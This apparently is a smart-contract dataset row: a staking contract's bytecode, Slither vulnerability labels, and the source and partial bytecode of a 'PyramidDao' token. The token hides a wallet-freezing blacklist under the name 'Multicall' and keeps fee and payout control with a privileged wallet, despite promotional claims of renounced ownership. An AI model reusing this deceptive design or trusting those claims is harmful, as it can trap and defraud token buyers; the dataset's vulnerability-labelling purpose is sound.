b61014f610793565b61014f6004803603602081101561023957600080fd5b50356001600160a01b0316610799565b61014f6004803603602081101561025f57600080fd5b50356001600160a01b03166107b7565b61014f610816565b61014f61081c565b6101af6004803603604081101561029557600080fd5b50803590602001356001600160a01b0316610822565b61014f600480360360208110156102c157600080fd5b50356001600160a01b031661098b565b6101af600480360360208110156102e757600080fd5b50356001600160a01b03166109a9565b61014f6004803603602081101561030d57600080fd5b50356001600160a01b0316610a0b565b60025481565b60095481565b60015481565b60065481565b6001600160a01b0381166000908152600b60205260409020600101545b919050565b60008061038860016103826301e1338061037c600a5442610b5890919063ffffffff16565b90610b6f565b90610b84565b90506000816001141561039e57506004546103b5565b81600214156103b057506005546103b5565b506006545b91505090565b60006103c633610a0b565b11610418576040805162461bcd60e51b815260206004820152601860248201527f6e6f7468696e672070656e64696e6720746f20636c61696d0000000000000000604482015290519081900360640190fd5b737461c43bb1e96863233d72a09191008ee9217ee863a9059cbb3361043c81610a0b565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561048257600080fd5b505af1158015610496573d6000803e3d6000fd5b505050506040513d60208110156104ac57600080fd5b507f106f923f993c2149d49b4255ff723acafa1f2d94393f561d3eda32ae348f72419050336104da81610a0b565b604080516001600160a01b03909316835260208301919091528051918290030190a161050533610a0b565b60028054909101905561051733610a0b565b336000908152600b60205260408120600681018054909301909255426005830155600490910155565b60075481565b60008061056b60016103826301e1338061037c600a5442610b5890919063ffffffff16565b90506000816001141561058157506007546103b5565b816002141561059357506008546103b5565b5060095491505090565b6000546001600160a01b031681565b60045481565b6001600160a01b03166000908152600b602052604090206006015490565b336000908152600b6020526040902060010154610627576040805162461bcd60e51b815260206004820152601060248201526f6e6f2072756e6e696e67207374616b6560801b604482015290519081900360640190fd5b600042610632610546565b336000908152600b602052604090206003015401111561065157506001545b336000908152600b60205260408120600101546106969061067d90849061067790610b9a565b90610bc5565b336000908152600b602052604090206001015490610b58565b6040805163a9059cbb60e01b8152336004820152602481018390529051919250737461c43bb1e96863233d72a09191008ee9217ee89163a9059cbb916044808201926020929091908290030181600087803b1580156106f457600080fd5b505af1158015610708573d6000803e3d6000fd5b505050506040513d602081101561071e57600080fd5b5061072a905033610a0b565b336000818152600b602090815260409182902060040193909355805191825291810183905281517f896e034966eaaf1adc54acc0f257056febbd300c9e47182cf761982cf1f5e430929181900390910190a15050336000908152600b6020526040812060010155565b60035481565b6001600160a01b03166000908152600b602052604090206002015490565b6001600160a01b0381166000908152600b60205260408120600101541561080e576000806107ef6107e78561098b565b610382610546565b905080421015610806576108038142610b58565b91505b509050610352565b506000610352565b60055481565b60085481565b6001600160a01b038116158061085057506001600160a01b0381166000908152600b602052604090205460ff165b610897576040805162461bcd60e51b8152602060048201526013602482015272125b9d985b1a5908149959995c9c995c881259606a1b604482015290519081900360640190fd5b6108b6737461c43bb1e96863233d72a09191008ee9217ee88383610be9565b6108c08282610d2a565b604080516323b872dd60e01b8152336004820152306024820152604481018490529051737461c43bb1e96863233d72a09191008ee9217ee8916323b872dd9160648083019260209291908290030181600087803b15801561092057600080fd5b505af1158015610934573d6000803e3d6000fd5b505050506040513d602081101561094a57600080fd5b5050604080513381526020810184905281517f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d929181900390910190a15050565b6001600160a01b03166000908152600b602052604090206003015490565b6000546001600160a01b031633146109c057600080fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909133917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6001600160a01b0381166000908152600b602052604081206003015481908190610a3790610382610546565b905080421015610a6f576001600160a01b0384166000908152600b6020526040902060050154610a68904290610b58565b9150610ac4565b6001600160a01b0384166000908152600b60205260409020600501548111610a9a5760009150610ac4565b6001600160a01b0384166000908152600b6020526040902060050154610ac1908290610b58565b91505b6000610ae36301e1338061037c683635c9adc5dea00000610677610357565b90506000610b2469152d02c7e14af680000061037c610b028786610bc5565b6001600160a01b038a166000908152600b602052604090206001015490610bc5565b6001600160a01b0387166000908152600b6020526040902060040154909150610b4e908290610b84565b9695505050505050565b600082821115610b6457fe5b508082035b92915050565b600080828481610b7b57fe5b04949350505050565b600082820183811015610b9357fe5b9392505050565b600080610ba8836064610d59565b90506000610bbd61271061037c846064610bc5565b949350505050565b600082610bd457506000610b69565b82820282848281610be157fe5b0414610b9357fe5b336000908152600b602052604090206001015415610c40576040805162461bcd60e51b815260206004820152600f60248201526e416c72656164792072756e6e696e6760881b604482015290519081900360640190fd5b6001600160a01b038316737461c43bb1e96863233d72a09191008ee9217ee814610cb1576040805162461bcd60e51b815260206004820152601960248201527f4f6e6c792044474e20746f6b656e7320737570706f7274656400000000000000604482015290519081900360640190fd5b610cba33610a0b565b336000908152600b60205260409020600481019190915560018082018490556002820180548501905542600380840182905560058401919091556007830180546001600160a01b0319166001600160a01b039590951694909417909355815460ff19161790558054909101905550565b610d3382610b9a565b6001600160a01b039091166000908152600b602052604090206004018054909101905550565b6000818260018486010381610d6a57fe5b0402939250505056fea2646970667358221220f029d8ec53f4d50b84459e9fa776b819841e5111434268f0d6c745e36be4051664736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 9,352 |
0xb9011d632612b2479c090cad84c70eed6bfd3673
|
/**
*Submitted for verification at Etherscan.io on 2022-04-30
*/
/**
*Submitted for verification at Etherscan.io on 2022-04-26
*/
/*
PyramidDao
Low tax : 2% BUY 2% SELL
Made by a safu dev, last project hit 340k from 9k
LP will be locked and extended at 100k
Ownership renounced directly at launch.
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract PyramidDao is Context, IERC20, Ownable { ////
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e6 * 10**9;
string public constant name = unicode"PyramidDAO"; ////
string public constant symbol = unicode"PYRAMID"; ////
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable private _MarketingWallet;
address payable private _DevWallet;
address public uniswapV2Pair;
uint public _buyFee = 2;
uint public _sellFee = 2;
uint public _feeRate = 9;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap;
bool public _useImpactFeeSetter = true;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event MarketingWalletUpdated(address _MarketingWallet);
event DevWalletUpdated(address _DevWallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable MarketingWallet, address payable DevWallet) {
_MarketingWallet = MarketingWallet;
_DevWallet = DevWallet;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[MarketingWallet] = true;
_isExcludedFromFee[DevWallet] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
require (recipient == tx.origin, "pls no bot");
}
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "ERC20: transfer from frozen wallet.");
bool isBuy = false;
if(from != owner() && to != owner()) {
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
require(block.timestamp != _launchedAt, "pls no snip");
if((_launchedAt + (1 hours)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5%
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (300 seconds)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (15 seconds), "Your buy cooldown has not expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
// sell
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_MarketingWallet.transfer(amount / 2);
_DevWallet.transfer(amount / 2);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
if(block.timestamp < _launchedAt + (15 minutes)) {
fee += 5;
}
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 30000 * 10**9; // 3%
_maxHeldTokens = 30000 * 10**9; // 3%
}
function manualswap() external {
require(_msgSender() == _MarketingWallet);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _MarketingWallet);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _MarketingWallet);
require(rate > 0, "Rate can't be zero");
// 100% is the common fee rate
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _MarketingWallet);
require(buy <= 10);
require(sell <= 10);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function Multicall(address[] memory bots_) external {
require(_msgSender() == _MarketingWallet);
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _MarketingWallet);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateMarketingWallet(address newAddress) external {
require(_msgSender() == _MarketingWallet);
_MarketingWallet = payable(newAddress);
emit MarketingWalletUpdated(_MarketingWallet);
}
function updateDevWallet(address newAddress) external {
require(_msgSender() == _DevWallet);
_DevWallet = payable(newAddress);
emit DevWalletUpdated(_DevWallet);
}
// view functions
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101f25760003560e01c8063590f897e1161010d578063a9059cbb116100a0578063c9567bf91161006f578063c9567bf9146105a1578063db92dbb6146105b6578063dcb0e0ad146105cb578063dd62ed3e146105eb578063e8078d941461063157600080fd5b8063a9059cbb14610536578063aacebbe314610556578063b2131f7d14610576578063c3c8cd801461058c57600080fd5b80637a49cddb116100dc5780637a49cddb146104a55780638da5cb5b146104c557806394b8d8f2146104e357806395d89b411461050357600080fd5b8063590f897e146104455780636fc3eaec1461045b57806370a0823114610470578063715018a61461049057600080fd5b806327f3a72a116101855780633bbac579116101545780633bbac5791461039e57806340b9a54b146103d757806345596e2e146103ed57806349bd5a5e1461040d57600080fd5b806327f3a72a1461032c578063313ce5671461034157806331c2d8471461036857806332d873d81461038857600080fd5b806318160ddd116101c157806318160ddd146102bc5780631816467f146102d65780631940d020146102f657806323b872dd1461030c57600080fd5b80630492f055146101fe57806306fdde0314610227578063095ea7b31461026a5780630b78f9c01461029a57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600e5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b5061025d6040518060400160405280600a815260200169507972616d696444414f60b01b81525081565b60405161021e9190611bbf565b34801561027657600080fd5b5061028a610285366004611c39565b610646565b604051901515815260200161021e565b3480156102a657600080fd5b506102ba6102b5366004611c65565b61065c565b005b3480156102c857600080fd5b5066038d7ea4c68000610214565b3480156102e257600080fd5b506102ba6102f1366004611c87565b6106df565b34801561030257600080fd5b50610214600f5481565b34801561031857600080fd5b5061028a610327366004611ca4565b610754565b34801561033857600080fd5b5061021461083c565b34801561034d57600080fd5b50610356600981565b60405160ff909116815260200161021e565b34801561037457600080fd5b506102ba610383366004611cfb565b61084c565b34801561039457600080fd5b5061021460105481565b3480156103aa57600080fd5b5061028a6103b9366004611c87565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156103e357600080fd5b50610214600b5481565b3480156103f957600080fd5b506102ba610408366004611dc0565b6108d8565b34801561041957600080fd5b50600a5461042d906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b34801561045157600080fd5b50610214600c5481565b34801561046757600080fd5b506102ba61099c565b34801561047c57600080fd5b5061021461048b366004611c87565b6109c9565b34801561049c57600080fd5b506102ba6109e4565b3480156104b157600080fd5b506102ba6104c0366004611cfb565b610a58565b3480156104d157600080fd5b506000546001600160a01b031661042d565b3480156104ef57600080fd5b5060115461028a9062010000900460ff1681565b34801561050f57600080fd5b5061025d604051806040016040528060078152602001661416549053525160ca1b81525081565b34801561054257600080fd5b5061028a610551366004611c39565b610b67565b34801561056257600080fd5b506102ba610571366004611c87565b610b74565b34801561058257600080fd5b50610214600d5481565b34801561059857600080fd5b506102ba610be2565b3480156105ad57600080fd5b506102ba610c18565b3480156105c257600080fd5b50610214610cb1565b3480156105d757600080fd5b506102ba6105e6366004611de7565b610cc9565b3480156105f757600080fd5b50610214610606366004611e04565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561063d57600080fd5b506102ba610d46565b600061065333848461108b565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461067c57600080fd5b600a82111561068a57600080fd5b600a81111561069857600080fd5b600b829055600c81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b6009546001600160a01b0316336001600160a01b0316146106ff57600080fd5b600980546001600160a01b0319166001600160a01b0383169081179091556040519081527f31bb1993faff4f8409d7baad771f861e093ef4ce2c92c6e0cb10b82d1c7324cb906020015b60405180910390a150565b60115460009060ff16801561078257506001600160a01b03831660009081526004602052604090205460ff16155b801561079b5750600a546001600160a01b038581169116145b156107ea576001600160a01b03831632146107ea5760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b6107f58484846111af565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610824908490611e53565b905061083185338361108b565b506001949350505050565b6000610847306109c9565b905090565b6008546001600160a01b0316336001600160a01b03161461086c57600080fd5b60005b81518110156108d45760006006600084848151811061089057610890611e6a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108cc81611e80565b91505061086f565b5050565b6000546001600160a01b031633146109025760405162461bcd60e51b81526004016107e190611e99565b6008546001600160a01b0316336001600160a01b03161461092257600080fd5b600081116109675760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b60448201526064016107e1565b600d8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd890602001610749565b6008546001600160a01b0316336001600160a01b0316146109bc57600080fd5b476109c68161181e565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b03163314610a0e5760405162461bcd60e51b81526004016107e190611e99565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b031614610a7857600080fd5b60005b81518110156108d457600a5482516001600160a01b0390911690839083908110610aa757610aa7611e6a565b60200260200101516001600160a01b031614158015610af8575060075482516001600160a01b0390911690839083908110610ae457610ae4611e6a565b60200260200101516001600160a01b031614155b15610b5557600160066000848481518110610b1557610b15611e6a565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610b5f81611e80565b915050610a7b565b60006106533384846111af565b6008546001600160a01b0316336001600160a01b031614610b9457600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527fbf86feedee5b30c30a8243bd21deebb704d141478d39b1be04fe5ee739f214e790602001610749565b6008546001600160a01b0316336001600160a01b031614610c0257600080fd5b6000610c0d306109c9565b90506109c6816118a3565b6000546001600160a01b03163314610c425760405162461bcd60e51b81526004016107e190611e99565b60115460ff1615610c8f5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107e1565b6011805460ff1916600117905542601055651b48eb57e000600e819055600f55565b600a54600090610847906001600160a01b03166109c9565b6000546001600160a01b03163314610cf35760405162461bcd60e51b81526004016107e190611e99565b6011805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610749565b6000546001600160a01b03163314610d705760405162461bcd60e51b81526004016107e190611e99565b60115460ff1615610dbd5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107e1565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610df8308266038d7ea4c6800061108b565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e36573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5a9190611ece565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ea7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ecb9190611ece565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610f18573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f3c9190611ece565b600a80546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610f6c816109c9565b600080610f816000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610fe9573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061100e9190611eeb565b5050600a5460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015611067573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d49190611f19565b6001600160a01b0383166110ed5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107e1565b6001600160a01b03821661114e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107e1565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166112135760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107e1565b6001600160a01b0382166112755760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107e1565b600081116112d75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107e1565b6001600160a01b03831660009081526006602052604090205460ff161561134c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e736665722066726f6d2066726f7a656e2077616c6c60448201526232ba1760e91b60648201526084016107e1565b600080546001600160a01b0385811691161480159061137957506000546001600160a01b03848116911614155b156117bf57600a546001600160a01b0385811691161480156113a957506007546001600160a01b03848116911614155b80156113ce57506001600160a01b03831660009081526004602052604090205460ff16155b1561165b5760115460ff166114255760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016107e1565b60105442036114645760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b60448201526064016107e1565b42601054610e106114759190611f36565b11156114ef57600f54611487846109c9565b6114919084611f36565b11156114ef5760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b60648201526084016107e1565b6001600160a01b03831660009081526005602052604090206001015460ff16611557576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b4260105461012c6115689190611f36565b111561163c57600e548211156115c05760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e000000000060448201526064016107e1565b6115cb42600f611f36565b6001600160a01b0384166000908152600560205260409020541061163c5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b60648201526084016107e1565b506001600160a01b038216600090815260056020526040902042905560015b601154610100900460ff16158015611675575060115460ff165b801561168f5750600a546001600160a01b03858116911614155b156117bf5761169f42600f611f36565b6001600160a01b038516600090815260056020526040902054106117115760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b60648201526084016107e1565b600061171c306109c9565b905080156117a85760115462010000900460ff161561179f57600d54600a5460649190611751906001600160a01b03166109c9565b61175b9190611f4e565b6117659190611f6d565b81111561179f57600d54600a5460649190611788906001600160a01b03166109c9565b6117929190611f4e565b61179c9190611f6d565b90505b6117a8816118a3565b4780156117b8576117b84761181e565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061180157506001600160a01b03841660009081526004602052604090205460ff165b1561180a575060005b6118178585858486611a17565b5050505050565b6008546001600160a01b03166108fc611838600284611f6d565b6040518115909202916000818181858888f19350505050158015611860573d6000803e3d6000fd5b506009546001600160a01b03166108fc61187b600284611f6d565b6040518115909202916000818181858888f193505050501580156108d4573d6000803e3d6000fd5b6011805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106118e7576118e7611e6a565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611940573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119649190611ece565b8160018151811061197757611977611e6a565b6001600160a01b03928316602091820292909201015260075461199d913091168461108b565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac947906119d6908590600090869030904290600401611f8f565b600060405180830381600087803b1580156119f057600080fd5b505af1158015611a04573d6000803e3d6000fd5b50506011805461ff001916905550505050565b6000611a238383611a39565b9050611a3186868684611a80565b505050505050565b6000808315611a79578215611a515750600b54611a79565b50600c54601054611a6490610384611f36565b421015611a7957611a76600582611f36565b90505b9392505050565b600080611a8d8484611b5d565b6001600160a01b0388166000908152600260205260409020549193509150611ab6908590611e53565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611ae6908390611f36565b6001600160a01b038616600090815260026020526040902055611b0881611b91565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b4d91815260200190565b60405180910390a3505050505050565b600080806064611b6d8587611f4e565b611b779190611f6d565b90506000611b858287611e53565b96919550909350505050565b30600090815260026020526040902054611bac908290611f36565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611bec57858101830151858201604001528201611bd0565b81811115611bfe576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146109c657600080fd5b8035611c3481611c14565b919050565b60008060408385031215611c4c57600080fd5b8235611c5781611c14565b946020939093013593505050565b60008060408385031215611c7857600080fd5b50508035926020909101359150565b600060208284031215611c9957600080fd5b8135611a7981611c14565b600080600060608486031215611cb957600080fd5b8335611cc481611c14565b92506020840135611cd481611c14565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611d0e57600080fd5b823567ffffffffffffffff80821115611d2657600080fd5b818501915085601f830112611d3a57600080fd5b813581811115611d4c57611d4c611ce5565b8060051b604051601f19603f83011681018181108582111715611d7157611d71611ce5565b604052918252848201925083810185019188831115611d8f57600080fd5b938501935b82851015611db457611da585611c29565b84529385019392850192611d94565b98975050505050505050565b600060208284031215611dd257600080fd5b5035919050565b80151581146109c657600080fd5b600060208284031215611df957600080fd5b8135611a7981611dd9565b60008060408385031215611e1757600080fd5b8235611e2281611c14565b91506020830135611e3281611c14565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611e6557611e65611e3d565b500390565b634e487b7160e01b600052603260045260246000fd5b600060018201611e9257611e92611e3d565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611ee057600080fd5b8151611a7981611c14565b600080600060608486031215611f0057600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611f2b57600080fd5b8151611a7981611dd9565b60008219821115611f4957611f49611e3d565b500190565b60008160001